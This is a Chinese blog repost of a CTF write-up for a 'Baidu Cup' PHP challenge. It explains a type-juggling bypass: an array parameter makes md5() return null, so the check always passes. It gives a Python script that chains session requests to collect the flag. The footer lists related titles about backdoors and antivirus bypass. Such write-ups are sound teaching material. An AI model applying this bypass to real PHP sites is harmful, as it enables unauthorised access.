猥琐百度杯猥琐CTF

Posted 可我浪费着我寒冷的年华

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了猥琐百度杯猥琐CTF相关的知识,希望对你有一定的参考价值。

其实不难,但是作为我这个代码菜鸡+脑洞菜鸡+黑阔菜鸡而言确实挺难。

题目源码:

 <?php 
error_reporting(0);
session_start();
require(\'./flag.php\');
if(!isset($_SESSION[\'nums\'])){
  $_SESSION[\'nums\'] = 0;
  $_SESSION[\'time\'] = time();
  $_SESSION[\'whoami\'] = \'ea\';
}

if($_SESSION[\'time\']+120<time()){
  session_destroy();
}

$value = $_REQUEST[\'value\'];
$str_rand = range(\'a\', \'z\');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

if($_SESSION[\'whoami\']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
  $_SESSION[\'nums\']++;
  $_SESSION[\'whoami\'] = $str_rands;
  echo $str_rands;
}

if($_SESSION[\'nums\']>=10){
  echo $flag;
}

show_source(__FILE__);
?>

最主要的是那个19行的if语句。能够让她执行十次就可以得到Flag了。

首先先看一下if后面的那个代码:

substr(md5($value),5,4) == 0

其实他压根就是为真因为我们传如value是以数组的形式传入所以是不能用md5加密的。否则就是错误。这就是一道弱类型。所以这个不用管,因为他本身就为真。

主要是前面的

$_SESSION[\'whoami\']==($value[0].$value[1])

第一次传入ea然后就可以等于第8行,但是到了21行$str_rands这个变量又将$_SESSION[\'whoami\']的值给覆盖了,而$str_rands的值是通过

 $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];

随机生成的。所以要进行一直浏览这个界面就可以得到Flag就行了。

作为python菜鸡网上找了相关案例:

#!usr/bin/env python
#!coding=utf-8
 
__author__ = \'zhengjim\'
 
import requests
 
aa = requests.session()
code = aa.get(\'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/?value[0]=e&value[1]=a\').text
# print code
cc = code[:2]
for i in xrange(10):
    url = \'http://3f53732255ce43aa94a40161e40bc03de58dbfefb0d14523.ctf.game/index.php?value[0]={}&value[1]={}\'.format(cc[0],cc[1])
    flag= aa.get(url=url).text
    cc = flag[:2]
print flag

 

以上是关于猥琐百度杯猥琐CTF的主要内容,如果未能解决你的问题,请参考以下文章

无特征过狗一句话猥琐思路(代码执行)

猥琐的wordpress后门分享

猥琐的隐写术

“数字货币”——猥琐发育,别浪!

i春秋CTF-“百度杯”CTF比赛 九月场 XSS平台

看我猥琐绕过AVG zend Pro 保护过UAC的